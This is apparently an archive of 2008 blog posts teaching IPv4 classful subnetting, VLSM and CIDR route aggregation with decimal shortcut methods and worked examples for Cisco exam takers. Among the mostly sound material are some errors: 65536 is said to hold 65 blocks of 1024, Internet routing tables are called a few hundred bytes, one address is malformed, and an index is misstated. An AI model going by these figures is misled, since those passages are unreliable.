Classless Interdomain Routing (CIDR) was introduced to improve both address space utilization and routing scalability in the Internet. It was needed because of the rapid growth of the Internet and growth of the IP routing tables held in the Internet routers. It moves way from the traditional IP classes (Class A, Class B, Class C, and so on). In CIDR , an IP network is represented by a prefix, which is an IP address and some indication of the length of the mask. Length means the number of left-most contiguous mask bits that are set to one. So network 172.16.0.0 255.255.0.0 can be represented as 172.16.0.0/16. CIDR also depicts a more hierarchical Internet architecture, where each domain takes its IP addresses from a higher level. This allows for the summarization of the domains to be done at the higher level. For example, if an ISP owns network 172.16.0.0/16, then the ISP can offer 172.16.1.0/24, 172.16.2.0/24, and so on to customers. Yet, when advertising to other providers, the ISP only needs to advertise 172.16.0.0/16.1

I was told that somebody already owned the 5.0.0.0/8 Classful network. I checked with http://www.dnsstuff.com/ and my source was correct - they already owned that whole Class A network. And he wasn't kidding. The truth of the matter is that only few organizations have ownership of a network as big as a Classful A network. There are so many network out there and most are just one IP hosts. If we placed those routes into a routers routing table, that might cripple the router due to extremely large memory requirements but thanks to CIDR, also known as route aggregation, the Internet routing tables are just a couple of hundreds of bytes and not gigabytes.

What's that picture above?
It showcases Classless Interdomain Routing at work. Notice the subnet masks for the networks in the example. They're very big. And within each of those big networks are smaller subnetworks. But all the Network Administrators need to do is to advertise their SUPERNET out to the world and there's nothing else to worry about bringing the whole Internet to its knees with so many smaller networks being advertised.

Block the networks below:

193.168.3.0/24
193.168.4.0/26
193.168.4.64/26
193.168.4.128/26
193.168.4.192/26
193.168.5.0/25
193.168.5.128/25

The Old method
Normally, you would be needing a piece of paper and converting everything, almost, into binary numbers and looking at where all of the numbers match.

1. Just looking at where the binary numbers look similar introduces some problems for beginners when summarizing - they tend ot be literal.
2. It eats up a lot of your time.

Can't you just look at the IP addresses and from there go on supernetting?

Yes you can.

What is this blog for?
It's to teach you advance techniques in CIDR computation.

Who is this for?
For those taking up their Cisco certifications and would like to perform route aggregation faster.

What does this blog post not cover about CIDR?
It's not meant to teach you CIDR using the binary method. I'm assuming you already know that.

If you're interested in performing CIDR faster, want to determine if you have a network overlap just by looking at the IP addressing plan on paper, and build a better foundation in creating IP access list blocks, then the techniques below are for you. Read on.

IP Blocking Guidelines

Based on the picture above, you'll come up with the following ideas:

1. IPs can't just be blocked together as how you wish to. There is an IP block grouping

Group by 1, which is 2^0

Group by 2, which is 2^1

Group by 4, which is 2^2

Group by 8, which is 2^3

I guess you get the idea already.

The IP group blocking rule is applicable to the 4th byte and to the 1st, 2nd, and 3rd bytes of an IP address in dotted-decimal notation.

By the way, a 192.168.0.1/32 means it's an IP host. Meaning just one IP. If you what two IP hosts from a 192.168.0.0 you can't use a 192.168.0.0/31 but instead use 192.168.0.0/30. The /32 thing is special. Typical applications include Router IDs and Update sources for BGP - because it only eats up 1 IP and loopbacks don't go down unless the whole router or links go down.

2. The ODD rule.

4th byte - If the IP you are blocking starts with an ODD number, let it be. It stands alone. It is an automatic Group by 1, which is 2^0.

1st, 2nd, 3rd byte - If the network you are blocking starts with an ODD, let it be. It stands alone. It is an automatic Group by 1, which is 2^0.

3. The Even rule.

4th byte - If the IP you are blocking starts with an EVEN number, use the IP Block grouping rules. You should group with respect to 2, 4, 8, etc - whatever is applicable.

1st, 2nd, 3rd byte - If the network you are blocking starts with an EVEN number, use the IP Block grouping rules. You should group with respect to 2, 4, 8, etc - whatever is applicable.

4. Block with respect to the natural blocks (just added)

Suppose you want to block the following networks below:

10.33.0.0/16

10.34.0.0/16

10.35.0.0/16

10.36.0.0/16

10.37.0.0/16

If you applied the other 2 rules I mentioned, you might let 10.33.0.0/16 stand alone and block all the other networks as one big block - 10.34.0.0/14. If so, you're answer will be wrong because 10.34.0.0/16 through 10.37.0.0/16 cannot be blocked using a Group by 4, where n=2, because you have to follow the natural block points of the IPs.

If we started from 10.0.0.0/16 and grouped by 4, we have the following natural blocks

10.0.0.0/16

10.4.0.0/16

...

10.24.0.0/16

10.28.0.0/16

10.32.0.0/16

10.36.0.0/16

10.40.0.0/16

5. Divisibility through ther grouping (just added)

If you grouped an IP block by a certain number, n, dividing them by the number you chose to group them, n, and resulting into a whole number means the IP block is blockable by that grouping you chose.

For the problem in Rule 4, 33, from 10.34.0.0 is not divisible by 4 but only by 2. So this means that you can only group the networks 10.34.0.0/16 through 10.37.0.0/16 by 2 and not by 4.

The answer for the problem in Rule 4 becomes

10.33.0.0/16

10.34.0.0/15

10.36.0.0/15

If we blocked the networks in the problem presented earlier

193.168.3.0/24
193.168.4.0/26
193.168.4.64/26
193.168.4.128/26
193.168.4.192/26
193.168.5.0/25
193.168.5.128/25

we will be getting the following aggregated network blocks

193.168.3.0/24 <--- This is an ODD network, it's in the 3rd byte. 193.168.4.0/23 <--- Hmm, see?

Hint:

The network 193.168.4.0/23 is from 193.168.4.0 thru 193.168.5.255. The next IP after it is 193.168.6.0.

The Relational Technique to CIDR

There are so many approaches to how to do blocking. Here's another, besides what I've just presented.

How many 256s are there in a 1024? There are 4, right?

How many 1024s are there in a 16384? There are 16, right?

Here, last question. How many 1024s are there in a 65536? There are 65, right?

Some of you already have an idea of how useful this concept is.

We were asked to block 90.0.0.0 thru 90.0.15.255.

Isn't that similar to having 16 256s?

Yes, it is!

So it's easy to block it then.

16 / 4 gives you 4. The 4 here means 4K or 4096, which comes from 2^12

Since IP is 32 bits, 32-12 gives you 20. If you're going to block, the answer will be 90.0.0.0/20.

Telnet route-server.ip.att.net. Password is rviews.

Isn't it easier to just draw and fuse them networks together? hehehe!

I'm here to teach you techniques. It's up to you to learn them. I'm not here to do magic -as in make you guys IP Addressing gurus just by browsing my blog in 10 seconds. This blogsite is only about IP Addressing.

* From www.cisco.com

Enter the Classless

2008-07-01T00:52:00.000-07:00

There are a few things you'd have to take into consideration before we go into this discussion.

1. I hope you now understand Classful subnetting.
2. You need to have practiced with the techniques I used when I did my discussions on advanced Classful subnetting techniques.

Classless IP Addressing was born (as far as I remember) alongside with NAT to solve the IP address depletion problems. How I wish it was that easy to solve global warming.

Anyway, look at the graphic above. It presents a problem solved by Classless IP addressing where Classful IP addressing falls short.

Under the blog I posted on Limits of Classful Subnetting, Classful Subnetting wastes so many IP addresses those found under Subnet Zero and the Broadcast subnet.

Why is the formula for determining the needed subnets (2^sn) - 2 >= req_Subnets?

In the minus 2, the first one is Subnet Zero and the second one is the Broadcast subnet.

What should our new formula to compute for the number of needed subnets be right now?

2^sn >= req_Subnets

There's no more minus 2 there. But how about for the number of hosts per subnet?

(2^h) - 2 >= req_Hosts

It still is the same. In Classless IPv4 Addressing, we cannot assign the network/subnetwork and the broadcast/subnet broadcast IP addresses.

Any rules or guidelines I need to follow?

1. If you are to subnet, allocate based on the highest host allocation to the lowest.
2. You can NOW use Subnet Zero and the Broadcast subnet.
3. You can subnet for each LAN segment/network allocating only the needed number of hosts.

Some refer to Classless IP Subnetting Variable-length Subnet masking (VLSM) as subnetting the subnet. Take a look at the highest allocation - just right to fit into a /26.

How many /27s are there? How many /28s and /29s can fit?

Notice that after allocating the first block of /26 from the Class C network, the second /26 block wasn't actually allocated but in turn further subnetted - there are two /27s in a /26.

Go figure. :)

The Art of Classful Subnetting

2008-06-25T04:47:00.000-07:00

There are actually so many techniques that I've mentioned here. Most of the techniques you know are based on Binary Subnetting techniques. I started to devise Decimal Subnetting techniques due to the fact that Binary reliance is a bit tricky for beginners in Subnetting. Though don't make any mistakes about it - Binary subnetting still owns!

Techniques circling around the IP = 32 bits is my favorite of all. Very simple yet powerful. Also, the Binary plotting thing was good until I realized that the relational techniques are better.

To add to the list, the Subnet Tree, CIDR Mask Tree, and the IP Block techniques are so important in not just mastering subnetting but being all-knowledgeable in the topic.

Let's now go beyond the Classful boundaries and Enter the Realm of Classless Subnetting.

Capice!

PS: "My Kung Fu is better than yours!"

That's just an expression. :)

Review of Classful Subnetting

2008-06-25T03:21:00.000-07:00

Classful Subnetting has actually reached its limits a loooong time ago. The Internet community has been discussing the likes of NAT and Classful subnetting during the late 80s to early 90s and then shifted its focus to Classless IP addressing and Subnetting and then to non-stop gap solutions like IPv6.

In Classless IP addressing, the goal is to minimize the IP address allocation wasting. The idea behind IP Next Generation is to further lessen the IP address exhaustion problem by a better built IP addressing scheme plus tons of IP addresses that put almost even CLNS into the IP world.

Limits of Classful Subnetting

2008-06-24T15:04:00.001-07:00

What is it exactly?

Anway, the problem asks us to allocate subnet addressses to the networks in the diagram using all of the current rules and principles we know under Classful subnetting.

Tip: A Class C 193.168.4.0/24 network would mean that the starting IP is 193.168.4.0 and the last IP within that range is 193.168.4.255. The usable IP addresses would be those in between the IPs I just listed.

Have fun!

Subnetting Basics: Classful Subnetting Part 6

2008-06-24T13:08:00.000-07:00

Talk of object resuse. I only hear of that in Programming language discussion, especially if we talk Object oriented PLs.

hehehe!

Anyway, see the details in white print in the picture. What if we were required 22 hosts per subnets and we were asked the following:

a. 500th subnet

b. 66th subnet

c. 1023 subnet

How do we answer these types of problems?

1. The Plot Apporach

2. The Calculation Approach

I'll use the Plot Approach on the first problem.

a. 500th subnet

Step 1. Calculate 500 in binary.

Step 2. map the 500 in binary you calculated directly into the SNID field.

Step 3. Compute for the decimal values with respect to the dotted decimal notation.

Comtemplate...

NID is 00001010 bin, which is 10 in decimal.

SNID is 000111110100 bin, which is still 500 in decimal.

The answer gives 10.0.62.128/27.

Hmm, what about the calculation approach?

b. 66th subnet

Remember the w.x.y.z thing? Good!

Notice that the problem has us dealing with the 4th byte and the SNID field also traverses the 2nd and 3rd bytes. To deal with this, we have the following techniques below.

The relational w.x.y.z approach

The subnet tree relation approach

Using the relational w.x.y.z approach, we are to derive formula to solve the problem.

Decimal Rule number 4. You need 256Zs to increment Y by 1.

Decimal Rule number 5. You need 65,536Zs to increment X by 1.

Decimal Rule number 6. You need 16,777,216Zs to increment W by 1.

Decimal Rule number 7. Same analogy for how many Ys or Xs you need to increment to get an X or a W. Go figure.

Hmm, how many hosts do we need? We need around 22.

Y = SN_req_Dec x (2^h) / 256

= 66 * (2^5) / 256

= 8.25

YIKES!!!

What is that 8.25?

Do we write down like this - 10.0.8.25/27???

NOOOO!!!! ARGGGHHH!!!

Actually, that's a no.

What does the 8.25 mean?

Under w.x.y.z, if you get a whole number for Y, you plot it directly in there. Getting a decimal number means you have a fraction of a whole. That fraction of a whole in under the suceeding byte. In our case, that's under Z.

How to compute for the the last byte?

Z = rY x 256

= 0.25 x 256

= 64

So, what is our 66th subnet then using the first relational approach?

The 66th subnet is 10.0.8.64/27.

Using the subnet tree relational approach, we are to derive formula to solve the problem, again.

Let's focus on the Host require for this problem. We were asked to have 22 host per subnet out of the 10.0.0.0/8 network.

If we have 65,536 Ys in a W, this also means that we have 65,536 Class Cs in a Class A network.

The 22 Host per Subnet has us generating a Subnet mask of /27 for all subnets. Given this, we have the following relation

There are 8 /27s in a /24. The relation is 8 is to 1.

There are 65,536 /24s in a /8. The relation is 65,536 is to 1.

Do you see where I am leading to? wink, wink

Y = nth x Relation

where Relation = 1/8 or 0.125

Y = 66 x 0.125

= 8.25

Gee! Do we do it like 10.0.8.25/27 again?

Nope. Notice we arrived at the same answer for computing Y?

Apply the same genralization and you'll come up with the 66th subnet being still 10.0.8.64/27.

Claro?

Now, solve c. 1023.

haha! You got a weird value, right?

That's because you're not applying relation.

Under w.x.y.z, we have

Decimal Rule number 4. You need 256Zs to increment Y by 1.
Decimal Rule number 5. You need 65,536Zs to increment X by 1.
Decimal Rule number 6. You need 16,777,216Zs to increment W by 1.
Decimal Rule number 7. Same analogy for how many Ys or Xs you need to increment to get an X or a W. Go figure.

What does this mean again? In our problem, we are asked for the 1023rd subnet from 10.0.0.0/8. We do now know that our subnet mask is still a /27 or a 255.255.255.224. How are we to apply the relation?

Easy.

1023 x 1/8 gives us 127.875.

This would mean that Y = 127 so we have 10.0.127.Z/27. But what is Z now?

Z=0.875*256 gives us 224.

The answer here is 10.0.127.224/27.

Hmm, but what if we required the 4000th subnet?

Compute for X, Y, and then Z.

Huh? How did X come into play?

There are on 256 Ys in an X. And based on the previous approaches and problems and examples, we've gone over the 256 limt for a Y. get it?

Computing for X

X = nth x (2^h) / 256

This gives us 500! But we can't use that in the 2nd byte. Using relation, we have

X = 500 / 256

= 1.953125

= 1

So, we have 10.1.Y.Z/27. What is Y then?

Y = rX * 256

= 0.953125 * 256

= 244

So, we have 10.1.244.Z/27. What is Z then?

Simple. The remainder for Y, rY, is 0. Hence, we have 10.1.244.0/27.

As exercises, solve the following:

a. 9th subnet

b. 123rd subnet

c. 1234th subnet

d. 649th subnet

e. 10th subnet

f. 5th subnet - Tip: The 5th subnet should be 10.0.0.160/27

Subnetting Basics: Classful Subnetting Part 5

2008-06-24T12:11:00.000-07:00

If we subnetted using Binary numbers, it's just totally boring.

Imagine if you were to solve problems subnetting a Class A or B network.

NOOOOOOOOOOOOOOO! Arrrggghhhh!!!

Why not make use of decimal numbers?

Decimal Subnetting Rule 1. The last bit in the SNID states the increment every subnet makes. Cisco calls this the MAGIC NUMBER. I refused to call it such as we have the same term in ISDN. That totally confuses people. Especially if you sucked in subnetting.

Decimal Rule number 2. Dotted Decimal Positional Weights determine how the IP address is to be represented in Dotted decimal notation. The Subnet positional weights tell you the positional weights of each bit for the Subnet field only. This helps in computing for that Nth subnet you are looking for.

Decimal Rule number 3. Same as Decimal Rule number 2 except convert everything to computing for Hosts, not subnets. Okay?

Decimal Rule number 4. You need 256Zs to increment Y by 1.

Decimal Rule number 5. You need 65,536Zs to increment X by 1.

Decimal Rule number 6. You need 16,777,216Zs to increment W by 1.

Decimal Rule number 7. Same analogy for how many Ys or Xs you need to increment to get an X or a W. Go figure.

So, let's create or formula.

If you wanted to compute for a subnet under Z, use the following:

Z = SN_req_Dec = SN_req x PWdd

SN_req_Dec is the decimal value for the 4th byte of the subnet you are requiring if it is within that range only.

SN_req is the Nth subnet you are looking for and automatically excludes Subnet Zero and the broadcast subnet in the count and quickly started with the first usable subnet.

PWdd is the Positional Weight value based on the dotted decimal notation for that byte field.

For example, you wanted to determine the 9th subnet of the network 193.168.0.0/24 having 11 networks in it. How do we solve this?

The SNID number of bits you need, sn, is equal to 4 thru the Subnet formula (2^sn) -2 >= 11.

The NH bit you need, h, is equal to 4. Why? Since IP is always equal to 32, just use subtraction.

We get, 32 - (NID+SNID) = 4.

sn = 4
h = 4

Applying the new found formula we derived

Z = SN_req_Dec = SN_req x PWdd
= 9th x 16
= 144

The subnet address you require then is 193.168.0.144.

What is the subnet mask?

NID + SNID is how many bits? NID took up 24 bits since we have a Class C network to begin with. SNID ate 4 bits. That's 28 nits all in all.

So what is 28?

Add a slash before it gives you a /28. That is now your subnet mask. In dotted decimal notation that would mean a 255.255.255.240.

Another interpretation of the 28 is that you have 28 bits set to 1 starting with the MSB for IP and everything else set to zero. See below.

11111111.11111111.11111111.11110000

It's actually that easy. But what if we are now computing for values in the 2nd and 3rd byte position? (I won't do computations for the 1st byte anymore as it's easy.)

Subnetting Basics: Classful Subnetting Part 4

2008-06-24T10:23:00.000-07:00

In the problem on the post Subnetting Basics: Classful Subnetting Part 2, I discussed about two possible situations you can view a subnetting problem - you look at the Subnet or at the host.

Let me discuss how to get the answers in binary. But first, how do we understand what the Subnet mask does?

Picture the Subnet mask as the Pizza slicer that the guy in Shakey's uses to slice your pizza. Well, I like the Solo Pack very much - awesome combo of Mojos and Chicken. Anyway, you WON'T be asking the poor waiter to slice the pizza in 15 equal part for all you 15 folks seated in their big room.

It's just plain hard to do so. Got that?

That's just the same rule that we have for Subnetting. A whole becomes half. It's governed by 2. Always by 2. That's why we call it binary numbers. Comprende? See the picture below.

Remember that since IP [v4] is always equal to 32 bits, if we are to subnet a Class 8, with a DEFAULT subnet mask of 255.0.0.0 or a /8 in CIDR convention [because there are 8 1's in the dotted binary equivalent of the dotted decimal Subnet mask for a Class A], requiring that we are to have a 16,000 subnets results in having 254 hosts per subnet available to us. TIP: Use the formula I presented in this blog. :)

So ready to "Subnet"?

The Subnet Problem: Binary Approach

Step 1
What is the network address that we are to Subnet? This is very important to us as we can't slice the pizza if there's no pizza to start off with. We need to know what the network it is we are to subnet. Pizza's come in different sizes - personal, regular, and then Family size. That's synonymous to a Class C, Class B, and a Class A pizza. For Shakey's table large pizza, we call that the aggregated subnets-like pizza. hahahahahaha!!!

What to do with 193.168.0.0/24? Using the Binary approach, we convert the Original Host portion of the network address to Binary numbers.

Now, think what is required of you? From the previous problem statement we were required to create five (5) subnets from that Class C network.

Note: Start with number 1 in the graphic.

Step 2

We now need to know how many bits we are to borrow from the Original host bits to act as the network bits, kind of like a network bits proxy AKA Subnet ID bits in my lingo. So, compute using the Subnet formula. This will give you the answer in 4. We have 3 as our sn.

Step 3

The next thing to do is to represent the bit boundaries just as I did in the graphic starting with number 6. I represented the Network ID bits (though still in Decimal form since they won't be chaning), the subnet ID bits, and the new host bits.

The Subnet ID bits plus the host bits make up number 7, which is the Original host bits, OH.

Step 4

Mark until when will the SNID will eat up portion of the OH. After which, iterate in binary the SNID. You'd notice them colored green until the SNID column.

Step 5

After you iterate the SNID column, place ZEROES in the NH column. Converting the figures you get directly result in the sunet addresses for the the subnets you are creating in the problem. All of them are usable but not all of them are required to be used. As the problem states, we only need 5 so use just 5.

Step 6

Focus on one of the subnets. For example, I focused on the 2nd usable subnet, which is 010. Converting the NH portion for 010 results in 01000000 and gives 64 as the answer if we convert that into decimal. What happens when you place ONES instead of ZEROES under the NH column?

You get the Broadcast address for subnet in question. Claro?

Good! hahahah! I know you got confused there so read it again.

Step 7

Under number 10, we have 00000 and 11111. The 00000 represents the subnet address. The 11111 represents the broadcast address. Everything else in between are the usable IP host addresses resulting from the created subnet. That's the meat of the pizza. Got it?

Hmm?

How many networks do you see? You should see 3 LAN Segments and 2 Serial links.

How many subnets are you required to create? You are required to create 5.

What are the created subnets?

193.168.0.0/27, 193.168.0.32/27, 193.168.0.64/27, 193.168.0.96/27, 193.168.0.128/27, 193.168.0.160/27, 193.168.0.192/27, and 193.168.0.224/27.

What are the usable subnets? Below are the assignable and usable Classful subnetted networks:

193.168.0.32/27, 193.168.0.64/27, 193.168.0.96/27, 193.168.0.128/27, 193.168.0.160/27, and 193.168.0.192/27.

Note that 193.168.0.0/27 has the network address in the boundary. Also, the IP address 193.168.0.255 is both within the 193.168.0.0/24 and 193.168.0.224.0/27 network and subnet addresses, repectively, and is the broadcast address of the aforementioned networks.

The Host Problem: Binary Approach

This should be a lot simple now, hopefully.

You don't just go on and subnet. Think of the purpose of why you will subnet. If you just subnetted based on how many network you have, then you may have overlooked if all subnets created can accomodated the number of host per subnets. Notice that the largest allocation we have is 29 IP hosts per subnet.

In classful subnetting, this is very, very important as we have all subnets have the same subnet mask. It means, all pizza slices are equal for Classful subnetting.

In number 2 of the graphic, we were being asked how many host bits are needed to accomodate 29 IP hosts per subnet. We computed this as 5. Having 5 host bits gives us 32 possible IP hosts but we only will be able to use 30 of it under IPv4 subnetting rules.

Why did I just contrast the Subnet and Host computation?

Because in real-world problems the number of networks you have don't dictate how much IP host you can put into a subnet.

It's the other way around.

You take a look if all IP host requirements can be satisfied by each subnet you will be creating. In this respect, you will quickly realize that Classful IP Subnetting does not scale very well as it eats up so many IPs as it is wasting it. For a serial link, we only really just need two (2) IPs to allocate to it. Why allocate a /27 subnet to it? That's a clear waste of IP usage.

Subnetting Basics: Classful Subnetting Part 3

2008-06-23T11:14:00.001-07:00

As I've mentioned before, IPv4 is always 32 bits. It will never go below or beyond that value.

In Classful Subnetting Part 3, I showcased two problems with identical results. It just so happened that the IP host allocation on LAN 3 didn't go over the max IP host per subnet than you will be able to derive after you compute how many subnets you will be creating if you require 5 subnets from a Class C network.

But what else should you learn?

Good question.

Know how to perform the following number conversion:

Binary to Decimal
Decimal to Binary
Binary to Hex
Hex to Binary
Decimal to Hex
Hex to Decimal

Here are some tips below.

Binary-Decimal Lesser by 1 principle

128 is 10000000
127 is 011111111

32 is 00100000
31 is 00011111

TIP: Look at the pattern. They will help you convert faster.

128 is 10000000
192 is 11000000
224 is 11100000
240 is 11110000
248 is 11111000
252 is 11111100
254 is 11111110
255 is 11111111

If you can recall these number, everything else becomes very simple math.

As for Hex and Decimal, every Hex increase by 2 from 0x1000, if we're talking IPv6, jumps 4096 which give 0x1000 is 4096, 0x2000 is 8192, 0x3000 is 12288 and so on .

Dotted Decimal Notation is just a way to simplify the reading and interpretation of binary numbers for people.

Assume you were solving an IP Subnetting problem that resembles what you see on the left. If you compute for the 500th subnet, 500 in binary give you 000111110100 and you have to place them and read them with respect to the dotted decimal notation.

But there's actually a lot more to gain from here then just now knowing of this technique. There are others.

Once you've memorized most of these concepts after some serious computation, you'll learn how to do relational solving in IP Subnetting afterwards, which is a more powerful technique.

In the next topic, I'll share with you around 3 methods you can use to perform subnetting - Pure Binary, Binary-Decimal analysis, and Decimal computation to solve subnetting.

Subnetting Basics: Classful Subnetting Part 2

2008-06-23T09:35:00.000-07:00

IPv4 is always equal to 32 bits. See illustration below.

No matter what you do, it should always equate to 32 bits. The only thing that really varies are either the Subnet ID bits or the Host ID bits. That is what you'd be playing around with because if you get an IP address of 10.11.12.13/19 you should interpret it as a subnetted Class A 10.0.0.0 network with around 2046 Subnets and 8190 hosts per subnet.

From the above, you get the following derived formula from the generic 2^n-2 >= x

Subnet
(2^sn) -2 >= req Subnets

Host
(2^h) -2 >= req Hosts

In the above diagram we have a bit of a dilemma. 1. We don't know what to do. 2. We don't know what to use. Let's solve this by defining a problem - one for a subnet-based problem and the other for a host based problem.

The Subnet Problem: Given the network diagram above, your boss wants to have each network a subnet so everybody's happy connected to the network and communicating. Assume your boss forwarded to you the fraction of the IP your ISP got from IANA of 193.168.0.0/24

How many networks do you see? You should see 3 LAN Segments and 2 Serial links.

How many subnets are you required to create? You are required to create 5.

You'll then conclude that you have 5 networks in there - because a serial link needs a subnet with at least 2 assignable hosts in order to get an IP.

What are the created subnets? They are the following in order:
193.168.0.0/27
193.168.0.32/27
193.168.0.64/27
193.168.0.96/27
193.168.0.128/27
193.168.0.160/27
193.168.0.192/27
193.168.0.224/27

What are the usable subnets? Below are the assignable and usable Classful subnetted networks:
193.168.0.32/27
193.168.0.64/27
193.168.0.96/27
193.168.0.128/27
193.168.0.160/27
193.168.0.192/27

The Host Problem: Given the network diagram above, your boss wants to have each network a subnet so everybody's happy connected to the network and communicating. Assume your boss forwarded to you the fraction of the IP your ISP got from IANA of 193.168.0.0/24

How many networks do you see? You should see 3 LAN Segments and 2 Serial links.

How many subnets are you required to create? You are required to create 5.

You might have the same conclusions as the above problem. But here's the catch. In Classful Subnetting, all subnets have the same subnet mask and meaning the same number of maximum host per subnet on any given subnet.

If you're wanting to weed out problems in your IP network in Classful, better see if the max IP host per subnet in your network can be accomodated.

What are the created subnets? They are the following in order:
193.168.0.0/27
193.168.0.32/27
193.168.0.64/27
193.168.0.96/27
193.168.0.128/27
193.168.0.160/27
193.168.0.192/27
193.168.0.224/27

What are the usable subnets? Below are the assignable and usable Classful subnetted networks:
193.168.0.32/27
193.168.0.64/27
193.168.0.96/27
193.168.0.128/27
193.168.0.160/27
193.168.0.192/27

If you were just reading without thinking things through, you might just say there really is no difference between the Subnet and the Host problems I've given. There is one but the max IP host allocation on LAN 3 was just bordering the maximum host per subnet the can be derived if we computed the how many host per subnets we'll be getting based on the number of subnets required.

Subnetting Basics: Classful Subnetting Part 1

2008-06-23T09:21:00.000-07:00

During the days of the old (hehehe), Routers didn't really subnet. It's just that people realized the world was going to run out of IP Addresses that they tried to control the problem. Classeful subnetting was born!

How different is that with the subnetting you know now?

Hmm, that's really hard to answer. But if you think you're SUBNETTING is really messed up then read on.

Start with this - routers subnetted in the older days with respect to what classful boundary you were in. Meaning, we have a subnetted Class A network, a subnetted Class B network, and a subnetted Class C network.

Remember that Class D is for Multicasting and Class E is for whatever use, which I guess they're using right now to give out IP addresses to ISPs.

On with the show.

Subnetting really isn't that hard.

BOOOOOOOOOO!!!!

It's really damn hard...

I say NO.

There are many approaches to subnetting whether it's in version 4 or version 6. I'll teach you the concepts to help you do subnetting in binary, in DECIMAL, and doing subnetting the relational way.

First concept: Routers subnetted in the older days with respect to what classful boundary you were in. Meaning, we have a subnetted Class A network, a subnetted Class B network, and a subnetted Class C network.

The IP Subnet
Second Concept: Classful Subnetting meant that for every created subnet you compute the RFCs tell you that you cannot use the first created subnet and the last created subnet because the first created subnet, Subnet ZERO, is reserved and is to represent the network as you can find the Network Address in there and that the last created subnet, the Broadcast Subnet, is reserved and is to represent the broadcast address of the whole network as you can find the Network Broadcast Address in there.

The IP Host
Third Concept: Classful Subnetting meant that for every created Host you compute the RFCs tell you that you cannot use the first created IP and the last created IP because the first created IP is reserved and is to represent either the network or the subnetwork address and that the last created IP, the network or subnet Broadcast IP address, is reserved as well.

Fourth Concept: IPv4 is always equal to 32 bits - that's whatever you do. If you add up, subtract, divide, or multiply your IPs, the number of bits for IPv4 should always be 32 bits. REMEMBER THAT. :)